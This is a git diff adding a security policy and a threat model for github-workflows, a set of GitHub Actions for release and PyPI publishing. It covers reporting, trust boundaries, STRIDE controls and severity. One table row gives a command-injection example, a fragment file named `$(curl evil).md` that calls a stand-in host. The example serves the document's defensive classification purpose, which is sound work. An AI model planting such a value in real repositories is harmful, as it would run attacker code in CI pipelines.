diff --git a/.github/SECURITY.md b/.github/SECURITY.md
new file mode 100644
index 0000000..5241ff3
--- /dev/null
+++ b/.github/SECURITY.md
@@ -0,0 +1,52 @@
+# Security policy
+
+github-workflows is a set of composite actions and reusable workflows that check pull request news and locks, prepare
+and tag releases, and publish them to PyPI, GitHub and the JetBrains Marketplace. This policy says how to report a
+security problem and how we decide whether a report is one.
+
+## Reporting a vulnerability
+
+**Do not open a public issue for a security problem.** Use
+[GitHub's private vulnerability reporting](https://github.com/tox-dev/github-workflows/security/advisories/new). If
+neither works for you, email [gaborjbernat@gmail.com](mailto:gaborjbernat@gmail.com).
+
+Include what the attacker controls and what they gain, the steps or a proof of concept, and the versions and platform
+you tested. Write the report yourself; unreviewed tool or model output takes longer to triage.
+
+## What to expect
+
+Volunteers maintain github-workflows, with no on-call rotation. We aim to acknowledge a report within **5 working days**
+and assess it within **15 working days**. Fixes are developed in a private fork attached to the draft advisory, ship in
+a new release, and the advisory, with a CVE requested through GitHub, goes out with that release. The default embargo is
+**90 days** from the report; we agree any change with the reporter. We credit reporters in the advisory under the name
+they choose, or not at all. There is no bug bounty.
+
+## Supported versions
+
+Only the latest release receives fixes. Callers pin a full commit SHA; Dependabot moves the pin.
+
+## Vulnerability or bug
+
+A report is a vulnerability when an attacker who controls only an input that the [threat model](THREAT_MODEL.md) lists
+as untrusted breaks a guarantee github-workflows makes. A report that first needs control of something the threat model
+trusts, such as a calling workflow's triggers, permissions or secrets, or a maintainer-approved release dispatch, is a
+bug: we fix it in the open and publish no advisory. Classify by who supplies the dangerous input, not by how bad the
+outcome sounds.
+
+**In scope**
+
+- Pull request content (fragments, locks, `pyproject.toml`) reaching a shell as code, or gaining a write token or a
+ secret.
+- A release patch that `validate-release-patch` accepts although it touches paths other than the changelog and fragment
+ deletions, or changes file modes.
+- A step that publishes files whose digests or attestations do not match what the build produced.
+- A locked tool installed without its hash check, or any tool installed ahead of its upload cutoff.
+- An App token or credential reaching a step that runs project or third-party code.
+
+**Out of scope**
+
+- How a calling repository configures its triggers, environments, rulesets and secrets.
+- Code the caller's own build runs: the build job is read-only by design, and only its outputs are verified.
+- Vulnerabilities in GitHub Actions, PyPI or the JetBrains Marketplace themselves.
+
+If you cannot tell which side a finding falls on, report it privately and we will decide.
diff --git a/.github/THREAT_MODEL.md b/.github/THREAT_MODEL.md
new file mode 100644
index 0000000..4ab014d
--- /dev/null
+++ b/.github/THREAT_MODEL.md
@@ -0,0 +1,99 @@
+# Threat model
+
+This model says what github-workflows trusts, where untrusted input enters, and which guarantees hold at each boundary,
+so a report can be classified as a vulnerability or a bug. [SECURITY.md](SECURITY.md) covers reporting; if the two
+disagree, SECURITY.md wins and we fix this file.
+
+## How github-workflows works
+
+A release is split between jobs with different rights. Read-only jobs check news, build the changelog and release patch,
+build distributions from a hash-checked lock, and render notes. A writer job in the caller's `release-auth` environment
+mints a GitHub App token, applies only a patch that `validate-release-patch` accepts, and pushes the release commit and
+tag. Publishing jobs reconcile PyPI's file digests and trusted-publisher attestations with the build, and create an
+immutable GitHub Release whose assets they verify. Every action is SHA-pinned. Release tools come from a hash-checked
+`pylock.toml`; the few helpers the actions install for themselves, such as the lock reader and the attestation verifier,
+come from PyPI under a seven-day upload cutoff.
+
+```mermaid
+flowchart LR
+ pr[("PR content
(untrusted)")] -->|"validate-news, lock check
read-only"| ro["Read-only jobs"]
+ ro -->|"release.patch, dists,
notes artifacts"| wr["Writer job
release-auth App token"]
+ wr -->|"validate-release-patch,
commit and tag"| repo[("Repository")]
+ ro -->|"dists"| pub["Publish jobs"]
+ pub -->|"trusted publishing,
digest + attestation check"| pypi[("PyPI")]
+ pub -->|"immutable release"| ghr[("GitHub Release")]
+ classDef trusted fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
+ classDef boundary fill:#ffe3a3,stroke:#d29200,color:#3a2c00;
+ class wr,pub trusted;
+ class pr,ro,repo,pypi,ghr boundary;
+```
+
+## Compared with similar tools
+
+We drew the boundary where comparable projects in other ecosystems draw theirs. The shared rule, stated by the
+[Node.js threat model](https://github.com/nodejs/node/blob/main/SECURITY.md#the-nodejs-threat-model), is that a report
+which first needs a trusted element compromised is out of scope; the first triage question, as
+[DOMPurify](https://github.com/cure53/DOMPurify/blob/main/SECURITY.md#what-we-consider-a-vulnerability) puts it, is what
+the attacker controls.
+
+| Project | Language | Where it draws the line |
+| ------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------- | ------------------------------------------------------------------------------------------------------------------------------------ |
+| [slsa-github-generator](https://github.com/slsa-framework/slsa-github-generator/security/policy) | GitHub Actions | Reusable workflows that hold signing identity; help tuning a caller's workflow is not a vulnerability. |
+| [GitHub Actions hardening guide](https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions) | Actions | Untrusted input reaches scripts only through environment variables; jobs that run untrusted code get no secrets. |
+| [GoReleaser](https://github.com/goreleaser/goreleaser/security/policy) | Go | Release automation; in scope is anything that compromises the confidentiality, integrity or availability of GoReleaser or its users. |
+
+## Trusted
+
+An attacker who controls any of these already has what github-workflows could give them:
+
+- The calling workflow, its trigger, environments, rulesets and the maintainer who dispatches a release.
+- GitHub, the runners, PyPI and the JetBrains Marketplace.
+- The SHA-pinned actions and the locked tools.
+
+## Untrusted inputs
+
+| Input | Comes from | What github-workflows guarantees |
+| ----------------------------- | --------------------------- | ----------------------------------------------------------------------------------------------- |
+| Pull request files | Any contributor | Read by read-only jobs only; inputs reach shells through environment variables. |
+| Artifacts from read-only jobs | Jobs that ran project code | The writer accepts only the changelog and fragment deletions, as regular files, from the patch. |
+| Files already on PyPI | A partial or earlier upload | Digests and attestations must match before the GitHub Release is published. |
+
+## Threats and controls
+
+| STRIDE | Threat | Control |
+| ---------------------- | --------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
+| Tampering | A compromised build job smuggles a workflow change into the release commit. | `validate-release-patch` path and mode allowlist. |
+| Elevation of privilege | PR code reads the release App token. | The token is minted only in the writer job, which runs no project code. |
+| Tampering | A freshly published malicious tool version enters the release toolchain. | Hash-checked locks resolved with a seven-day upload cooldown, and the same cutoff for helper tools. |
+| Repudiation | Release commits cannot be traced to an approved run. | Commits and tags are authored by the App from a recorded workflow run. |
+
+## Release chain
+
+Releases of this repository use its own workflows: the release App pushes the tag, and the GitHub Release is immutable.
+Callers pin the full commit SHA of a release.
+
+## Vulnerability or bug
+
+| Report | Verdict | Why |
+| ----------------------------------------------------------- | ------------- | -------------------------------- |
+| A fragment named `$(curl evil).md` runs in `validate-news` | Vulnerability | PR data reached a shell as code. |
+| A release patch that edits `.github/workflows/` is accepted | Vulnerability | Allowlist bypass. |
+| A caller runs the writer on `pull_request_target` | Not ours | Caller configuration. |
+| A tool update waits seven days to land | Expected | The cooldown is deliberate. |
+
+## Severity
+
+- **High:** pull request content runs as shell code in a job with a write token or secret, an App token reaches a step
+ that runs project or third-party code, or files are published whose digests or attestations do not match the build.
+- **Medium:** `validate-release-patch` accepts a path or mode outside its allowlist, or a tool skips its hash check or
+ upload cutoff.
+- **Low:** a job fails or misreports without crossing a boundary.
+
+## Accepted risks
+
+- The build job runs the project's own build backend; its outputs, not its behavior, are verified.
+
+## Keeping this current
+
+Revisit this model when github-workflows gains a new input source, network access, a new way to run code, or a new place
+it writes to, and whenever an advisory is published.